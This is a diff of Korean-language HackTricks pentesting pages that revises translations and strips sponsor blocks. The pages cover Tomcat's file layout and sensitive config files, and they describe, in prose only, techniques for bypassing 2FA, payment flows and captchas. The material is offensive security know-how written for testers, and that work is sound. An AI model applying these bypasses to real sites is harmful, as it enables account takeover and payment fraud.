* `bin` 폴더는 Tomcat 서버를 시작하고 실행하는 데 필요한 스크립트와 바이너리를 저장합니다.
|
||||||
* `conf` 폴더는 Tomcat에서 사용하는 다양한 구성 파일을 저장합니다.
|
* `conf` 폴더는 Tomcat에서 사용하는 다양한 구성 파일을 저장합니다.
|
||||||
* `tomcat-users.xml` 파일은 사용자 자격 증명과 그들이 할당된 역할을 저장합니다.
|
* `tomcat-users.xml` 파일은 사용자 자격 증명과 그들이 할당된 역할을 저장합니다.
|
||||||
* `lib` 폴더는 Tomcat의 올바른 작동에 필요한 다양한 JAR 파일을 보관합니다.
|
* `lib` 폴더는 Tomcat의 올바른 기능을 위해 필요한 다양한 JAR 파일을 보관합니다.
|
||||||
* `logs` 및 `temp` 폴더는 임시 로그 파일을 저장합니다.
|
* `logs` 및 `temp` 폴더는 임시 로그 파일을 저장합니다.
|
||||||
* `webapps` 폴더는 Tomcat의 기본 웹 루트이며 모든 애플리케이션을 호스팅합니다. `work` 폴더는 캐시 역할을 하며 런타임 중 데이터를 저장하는 데 사용됩니다.
|
* `webapps` 폴더는 Tomcat의 기본 웹 루트이며 모든 애플리케이션을 호스팅합니다. `work` 폴더는 캐시 역할을 하며 런타임 동안 데이터를 저장하는 데 사용됩니다.
|
||||||
|
|
||||||
`webapps` 내부의 각 폴더는 다음 구조를 가질 것으로 예상됩니다.
|
`webapps` 내의 각 폴더는 다음 구조를 가질 것으로 예상됩니다.
|
||||||
```
|
```
|
||||||
webapps/customapp
|
webapps/customapp
|
||||||
├── images
|
├── images
|
||||||
|
@ -77,7 +69,7 @@ webapps/customapp
|
||||||
└── AdminServlet.class
|
└── AdminServlet.class
|
||||||
```
|
```
|
||||||
가장 중요한 파일은 `WEB-INF/web.xml`로, 배포 설명서로 알려져 있습니다. 이 파일은 애플리케이션에서 사용되는 **경로에 대한 정보**와 이러한 경로를 처리하는 클래스들을 저장합니다.\
|
가장 중요한 파일은 `WEB-INF/web.xml`로, 배포 설명서로 알려져 있습니다. 이 파일은 애플리케이션에서 사용되는 **경로에 대한 정보**와 이러한 경로를 처리하는 클래스들을 저장합니다.\
|
||||||
애플리케이션에서 사용되는 모든 컴파일된 클래스는 `WEB-INF/classes` 폴더에 저장되어야 합니다. 이 클래스들은 중요한 비즈니스 로직과 민감한 정보를 포함할 수 있습니다. 이러한 파일의 취약점은 웹사이트의 완전한 손상으로 이어질 수 있습니다. `lib` 폴더는 해당 애플리케이션에 필요한 라이브러리를 저장합니다. `jsp` 폴더는 [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) 를 저장하며, 이는 이전에 `JavaServer Pages`로 알려져 있었고, Apache 서버의 PHP 파일에 비유될 수 있습니다.
|
애플리케이션에서 사용되는 모든 컴파일된 클래스는 `WEB-INF/classes` 폴더에 저장되어야 합니다. 이 클래스들은 중요한 비즈니스 로직과 민감한 정보를 포함할 수 있습니다. 이러한 파일의 취약점은 웹사이트의 완전한 손상으로 이어질 수 있습니다. `lib` 폴더는 해당 애플리케이션에 필요한 라이브러리를 저장합니다. `jsp` 폴더는 [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), 이전에 `JavaServer Pages`로 알려졌던 파일을 저장하며, 이는 Apache 서버의 PHP 파일과 비교할 수 있습니다.
|
||||||
|
|
||||||
여기 **web.xml** 파일의 예가 있습니다.
|
여기 **web.xml** 파일의 예가 있습니다.
|
||||||
```xml
|
```xml
|
||||||
|
@ -101,11 +93,11 @@ The `web.xml` 구성은 **`AdminServlet`**이라는 **새 서블릿**을 정의
|
||||||
|
|
||||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||||
|
|
||||||
다음으로, **`/admin`에 대한 요청을 `AdminServlet`**로 매핑하는 새로운 서블릿 매핑이 생성됩니다. 이 구성은 **`/admin`**에 대해 수신된 모든 요청을 처리하기 위해 **`AdminServlet.class`** 클래스에 전송합니다. **`web.xml`** 설명자는 많은 **민감한 정보**를 포함하고 있으며, **로컬 파일 포함 (LFI) 취약점**을 활용할 때 확인해야 할 중요한 파일입니다.
|
다음으로, **`/admin`에 대한 요청을 `AdminServlet`**으로 매핑하는 새로운 서블릿 매핑이 생성됩니다. 이 구성은 **`/admin`**에 대해 수신된 모든 요청을 처리하기 위해 **`AdminServlet.class`** 클래스에 전송합니다. **`web.xml`** 설명자는 많은 **민감한 정보**를 포함하고 있으며, **Local File Inclusion (LFI) 취약점**을 활용할 때 확인해야 할 중요한 파일입니다.
|
||||||
|
|
||||||
### tomcat-users
|
### tomcat-users
|
||||||
|
|
||||||
**`tomcat-users.xml`** 파일은 **`/manager` 및 `host-manager` 관리 페이지**에 대한 접근을 **허용**하거나 **거부**하는 데 사용됩니다.
|
**`tomcat-users.xml`** 파일은 **`/manager` 및 `host-manager` 관리 페이지**에 대한 접근을 **허용**하거나 허용하지 않기 위해 사용됩니다.
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
@ -152,11 +144,6 @@ will also need to set the passwords to something appropriate.
|
||||||
|
|
||||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -10,34 +10,21 @@ GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" al
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **강화된 이중 인증 우회 기술**
|
## **강화된 이중 인증 우회 기술**
|
||||||
|
|
||||||
### **직접 엔드포인트 접근**
|
### **직접 엔드포인트 접근**
|
||||||
|
|
||||||
2FA를 우회하려면 다음 엔드포인트에 직접 접근해야 하며, 경로를 아는 것이 중요합니다. 실패할 경우, **Referrer 헤더**를 변경하여 2FA 확인 페이지에서의 탐색을 모방합니다.
|
2FA를 우회하기 위해 후속 엔드포인트에 직접 접근하며, 경로를 아는 것이 중요합니다. 실패할 경우, **Referrer 헤더**를 변경하여 2FA 검증 페이지에서의 탐색을 모방합니다.
|
||||||
|
|
||||||
### **토큰 재사용**
|
### **토큰 재사용**
|
||||||
|
|
||||||
계정 내에서 이전에 사용된 토큰을 재사용하는 것이 효과적일 수 있습니다.
|
계정 내에서 인증을 위해 이전에 사용된 토큰을 재사용하는 것이 효과적일 수 있습니다.
|
||||||
|
|
||||||
### **사용되지 않은 토큰 활용**
|
### **사용되지 않은 토큰 활용**
|
||||||
|
|
||||||
|
@ -45,11 +32,11 @@ WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈
|
||||||
|
|
||||||
### **토큰 노출**
|
### **토큰 노출**
|
||||||
|
|
||||||
웹 애플리케이션의 응답에서 토큰이 노출되었는지 조사합니다.
|
웹 애플리케이션의 응답에서 토큰이 노출되는지 조사합니다.
|
||||||
|
|
||||||
### **검증 링크 악용**
|
### **검증 링크 악용**
|
||||||
|
|
||||||
계정 생성 시 전송된 **이메일 검증 링크**를 사용하면 2FA 없이 프로필에 접근할 수 있습니다. 자세한 내용은 [게시물](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)에서 확인할 수 있습니다.
|
계정 생성 시 전송된 **이메일 검증 링크**를 사용하면 2FA 없이 프로필에 접근할 수 있습니다. 자세한 내용은 [게시물](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)에서 확인하세요.
|
||||||
|
|
||||||
### **세션 조작**
|
### **세션 조작**
|
||||||
|
|
||||||
|
@ -57,17 +44,17 @@ WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈
|
||||||
|
|
||||||
### **비밀번호 재설정 메커니즘**
|
### **비밀번호 재설정 메커니즘**
|
||||||
|
|
||||||
비밀번호 재설정 기능을 조사하여, 동일한 링크를 사용하여 여러 번 재설정할 수 있는 가능성을 확인하는 것이 중요합니다. 새로 재설정된 자격 증명으로 로그인하면 2FA를 우회할 수 있습니다.
|
비밀번호 재설정 기능을 조사하여, 재설정 후 사용자를 애플리케이션에 로그인시키는 기능이 동일한 링크를 사용하여 여러 번 재설정을 허용할 수 있는지 확인하는 것이 중요합니다. 새로 재설정된 자격 증명으로 로그인하면 2FA를 우회할 수 있습니다.
|
||||||
|
|
||||||
### **OAuth 플랫폼 침해**
|
### **OAuth 플랫폼 손상**
|
||||||
|
|
||||||
신뢰할 수 있는 **OAuth** 플랫폼(예: Google, Facebook)에서 사용자의 계정을 침해하면 2FA를 우회할 수 있는 경로가 제공됩니다.
|
신뢰할 수 있는 **OAuth** 플랫폼(예: Google, Facebook)에서 사용자의 계정을 손상시키면 2FA를 우회할 수 있는 경로를 제공할 수 있습니다.
|
||||||
|
|
||||||
### **무차별 대입 공격**
|
### **무차별 대입 공격**
|
||||||
|
|
||||||
#### **비율 제한 없음**
|
#### **비율 제한 없음**
|
||||||
|
|
||||||
코드 시도 횟수에 대한 제한이 없으면 무차별 대입 공격이 가능하지만, 잠재적인 무음 비율 제한을 고려해야 합니다.
|
코드 시도 횟수에 대한 제한이 없으면 무차별 대입 공격이 가능하지만, 잠재적인 조용한 비율 제한을 고려해야 합니다.
|
||||||
|
|
||||||
#### **느린 무차별 대입**
|
#### **느린 무차별 대입**
|
||||||
|
|
||||||
|
@ -83,13 +70,13 @@ WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈
|
||||||
|
|
||||||
#### **내부 작업 비율 제한 없음**
|
#### **내부 작업 비율 제한 없음**
|
||||||
|
|
||||||
로그인 시도는 비율 제한으로 보호될 수 있지만, 내부 계정 작업은 보호되지 않을 수 있습니다.
|
비율 제한이 로그인 시도를 보호할 수 있지만 내부 계정 작업에는 적용되지 않을 수 있습니다.
|
||||||
|
|
||||||
#### **SMS 코드 재전송 비용**
|
#### **SMS 코드 재전송 비용**
|
||||||
|
|
||||||
SMS를 통한 코드의 과도한 재전송은 회사에 비용이 발생하지만, 2FA를 우회하지는 않습니다.
|
SMS를 통해 코드를 과도하게 재전송하면 회사에 비용이 발생하지만, 2FA를 우회하지는 않습니다.
|
||||||
|
|
||||||
#### **무한 OTP 생성**
|
#### **무한 OTP 재생성**
|
||||||
|
|
||||||
간단한 코드로 무한 OTP 생성을 통해 소규모 코드 집합을 재시도하여 무차별 대입이 가능합니다.
|
간단한 코드로 무한 OTP 생성을 통해 소규모 코드 집합을 재시도하여 무차별 대입이 가능합니다.
|
||||||
|
|
||||||
|
@ -99,13 +86,13 @@ SMS를 통한 코드의 과도한 재전송은 회사에 비용이 발생하지
|
||||||
|
|
||||||
### **CSRF/클릭재킹 취약점**
|
### **CSRF/클릭재킹 취약점**
|
||||||
|
|
||||||
CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것은 유효한 전략입니다.
|
CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것은 실행 가능한 전략입니다.
|
||||||
|
|
||||||
### **"기억하기" 기능 악용**
|
### **"기억하기" 기능 악용**
|
||||||
|
|
||||||
#### **예측 가능한 쿠키 값**
|
#### **예측 가능한 쿠키 값**
|
||||||
|
|
||||||
"기억하기" 쿠키 값을 추측하여 제한을 우회할 수 있습니다.
|
"기억하기" 쿠키 값을 추측하면 제한을 우회할 수 있습니다.
|
||||||
|
|
||||||
#### **IP 주소 가장하기**
|
#### **IP 주소 가장하기**
|
||||||
|
|
||||||
|
@ -123,27 +110,27 @@ CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것
|
||||||
|
|
||||||
### **이전 세션 처리**
|
### **이전 세션 처리**
|
||||||
|
|
||||||
2FA 활성화 시 기존 세션을 종료하면 침해된 세션으로부터의 무단 접근으로부터 계정을 보호할 수 있습니다.
|
2FA 활성화 시 기존 세션을 종료하면 손상된 세션으로부터의 무단 접근으로부터 계정을 보호합니다.
|
||||||
|
|
||||||
### **백업 코드와 접근 제어 결함**
|
### **백업 코드와 관련된 접근 제어 결함**
|
||||||
|
|
||||||
2FA 활성화 시 백업 코드의 즉각적인 생성 및 잠재적인 무단 검색은 CORS 잘못 구성/XSS 취약점과 함께 위험을 초래합니다.
|
2FA 활성화 시 즉시 생성되고 무단으로 검색될 수 있는 백업 코드의 위험이 있습니다. 특히 CORS 잘못 구성/XSS 취약점이 있는 경우 더욱 그렇습니다.
|
||||||
|
|
||||||
### **2FA 페이지의 정보 노출**
|
### **2FA 페이지의 정보 노출**
|
||||||
|
|
||||||
2FA 확인 페이지에서 민감한 정보(예: 전화번호)가 노출되는 것은 우려 사항입니다.
|
2FA 검증 페이지에서 민감한 정보(예: 전화번호)가 노출되는 것은 우려 사항입니다.
|
||||||
|
|
||||||
### **비밀번호 재설정으로 2FA 비활성화**
|
### **비밀번호 재설정으로 2FA 비활성화**
|
||||||
|
|
||||||
계정 생성, 2FA 활성화, 비밀번호 재설정 및 2FA 요구 없이 로그인하는 과정을 통해 잠재적인 우회 방법을 보여줍니다.
|
계정 생성, 2FA 활성화, 비밀번호 재설정 및 이후 2FA 요구 없이 로그인하는 과정을 통해 잠재적인 우회 방법을 보여줍니다.
|
||||||
|
|
||||||
### **미끼 요청**
|
### **미끼 요청**
|
||||||
|
|
||||||
무차별 대입 시도를 숨기거나 비율 제한 메커니즘을 오도하기 위해 미끼 요청을 활용하는 것은 우회 전략에 또 다른 레이어를 추가합니다. 이러한 요청을 작성하려면 애플리케이션의 보안 조치 및 비율 제한 동작에 대한 미세한 이해가 필요합니다.
|
무차별 대입 시도를 숨기거나 비율 제한 메커니즘을 오도하기 위해 미끼 요청을 활용하는 것은 우회 전략에 또 다른 레이어를 추가합니다. 이러한 요청을 작성하려면 애플리케이션의 보안 조치 및 비율 제한 행동에 대한 미세한 이해가 필요합니다.
|
||||||
|
|
||||||
### OTP 구성 오류
|
### OTP 구성 오류
|
||||||
|
|
||||||
사용자가 이미 가지고 있는 데이터나 OTP 생성을 위해 이전에 전송된 데이터를 기반으로 OTP가 생성되는 경우, 사용자가 이를 생성하고 우회할 수 있는 가능성이 있습니다.
|
사용자가 이미 가지고 있는 데이터 또는 OTP 생성을 위해 이전에 전송된 데이터를 기반으로 OTP가 생성되는 경우, 사용자가 이를 생성하고 우회할 수 있는 가능성이 있습니다.
|
||||||
|
|
||||||
## 참고 문헌
|
## 참고 문헌
|
||||||
|
|
||||||
|
@ -151,17 +138,6 @@ CSRF 또는 클릭재킹 취약점을 탐색하여 2FA를 비활성화하는 것
|
||||||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
P
|
P
|
||||||
|
|
||||||
|
@ -175,7 +151,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" al
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,18 +15,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 결제 우회 기술
|
## 결제 우회 기술
|
||||||
|
|
||||||
### 요청 가로채기
|
### 요청 가로채기
|
||||||
거래 과정에서 클라이언트와 서버 간에 교환되는 데이터를 모니터링하는 것이 중요합니다. 이는 모든 요청을 가로채는 방식으로 수행할 수 있습니다. 이러한 요청 내에서 중요한 의미를 가진 매개변수를 찾아보세요:
|
거래 과정에서 클라이언트와 서버 간에 교환되는 데이터를 모니터링하는 것이 중요합니다. 이는 모든 요청을 가로채는 방식으로 수행할 수 있습니다. 이러한 요청 내에서 중요한 의미를 지닌 매개변수를 주의 깊게 살펴보세요:
|
||||||
|
|
||||||
- **Success**: 이 매개변수는 종종 거래의 상태를 나타냅니다.
|
- **Success**: 이 매개변수는 종종 거래의 상태를 나타냅니다.
|
||||||
- **Referrer**: 요청이 발생한 출처를 가리킬 수 있습니다.
|
- **Referrer**: 요청이 발생한 출처를 가리킬 수 있습니다.
|
||||||
|
@ -51,13 +43,7 @@ URL을 포함하는 매개변수를 발견하면, 특히 _example.com/payment/MD
|
||||||
|
|
||||||
### 응답 변조
|
### 응답 변조
|
||||||
1. **응답 가로채기**: 도구를 사용하여 서버의 응답을 가로채고 분석하세요. 성공적인 거래를 나타내거나 결제 과정의 다음 단계를 드러낼 수 있는 데이터를 찾아보세요.
|
1. **응답 가로채기**: 도구를 사용하여 서버의 응답을 가로채고 분석하세요. 성공적인 거래를 나타내거나 결제 과정의 다음 단계를 드러낼 수 있는 데이터를 찾아보세요.
|
||||||
2. **응답 수정**: 브라우저나 애플리케이션이 처리하기 전에 응답을 수정하여 성공적인 거래 시나리오를 시뮬레이션해 보세요.
|
2. **응답 수정**: 브라우저나 애플리케이션에서 처리되기 전에 응답을 수정하여 성공적인 거래 시나리오를 시뮬레이션해 보세요.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,64 +1,62 @@
|
||||||
# Captcha Bypass
|
# Captcha Bypass
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 기술을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Captcha Bypass
|
## Captcha Bypass
|
||||||
|
|
||||||
서버 테스트 중 **captcha**를 **우회**하고 사용자 입력 기능을 자동화하기 위해 다양한 기술을 사용할 수 있습니다. 목표는 보안을 약화시키는 것이 아니라 테스트 프로세스를 간소화하는 것입니다. 다음은 전략의 포괄적인 목록입니다:
|
서버 테스트 중 캡차를 **우회**하고 사용자 입력 기능을 자동화하기 위해 다양한 기술을 사용할 수 있습니다. 목표는 보안을 약화시키는 것이 아니라 테스트 프로세스를 간소화하는 것입니다. 다음은 전략의 포괄적인 목록입니다:
|
||||||
|
|
||||||
1. **매개변수 조작**:
|
1. **파라미터 조작**:
|
||||||
* **Captcha 매개변수 생략**: captcha 매개변수를 전송하지 마십시오. HTTP 메서드를 POST에서 GET 또는 다른 동사로 변경하고, 데이터 형식을 변경하는 실험을 해보십시오. 예를 들어, 폼 데이터와 JSON 간에 전환합니다.
|
* **캡차 파라미터 생략**: 캡차 파라미터를 전송하지 마십시오. HTTP 메서드를 POST에서 GET 또는 다른 동사로 변경하고, 데이터 형식을 변경하는 실험을 해보십시오. 예를 들어, 폼 데이터와 JSON 간에 전환합니다.
|
||||||
* **빈 Captcha 전송**: captcha 매개변수가 포함되어 있지만 비어 있는 요청을 제출합니다.
|
* **빈 캡차 전송**: 캡차 파라미터가 존재하지만 비어 있는 요청을 제출합니다.
|
||||||
|
|
||||||
2. **값 추출 및 재사용**:
|
2. **값 추출 및 재사용**:
|
||||||
* **소스 코드 검사**: 페이지의 소스 코드 내에서 captcha 값을 검색합니다.
|
* **소스 코드 검사**: 페이지의 소스 코드 내에서 캡차 값을 검색합니다.
|
||||||
* **쿠키 분석**: 쿠키를 검사하여 captcha 값이 저장되고 재사용되는지 확인합니다.
|
* **쿠키 분석**: 쿠키를 검사하여 캡차 값이 저장되고 재사용되는지 확인합니다.
|
||||||
* **이전 Captcha 값 재사용**: 이전에 성공한 captcha 값을 다시 사용해 보십시오. 이 값은 언제든지 만료될 수 있습니다.
|
* **이전 캡차 값 재사용**: 이전에 성공한 캡차 값을 다시 사용해 보십시오. 이 값은 언제든지 만료될 수 있습니다.
|
||||||
* **세션 조작**: 다른 세션이나 동일한 세션 ID에서 동일한 captcha 값을 사용해 보십시오.
|
* **세션 조작**: 서로 다른 세션이나 동일한 세션 ID에서 동일한 캡차 값을 사용해 보십시오.
|
||||||
|
|
||||||
3. **자동화 및 인식**:
|
3. **자동화 및 인식**:
|
||||||
* **수학적 Captcha**: captcha가 수학 연산을 포함하는 경우 계산 프로세스를 자동화합니다.
|
* **수학적 캡차**: 캡차가 수학 연산을 포함하는 경우 계산 프로세스를 자동화합니다.
|
||||||
* **이미지 인식**:
|
* **이미지 인식**:
|
||||||
* 이미지에서 문자를 읽어야 하는 captcha의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다.
|
* 이미지에서 문자를 읽어야 하는 캡차의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다.
|
||||||
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)와 같은 광학 문자 인식(OCR) 도구를 사용하여 이미지에서 문자를 자동으로 읽습니다.
|
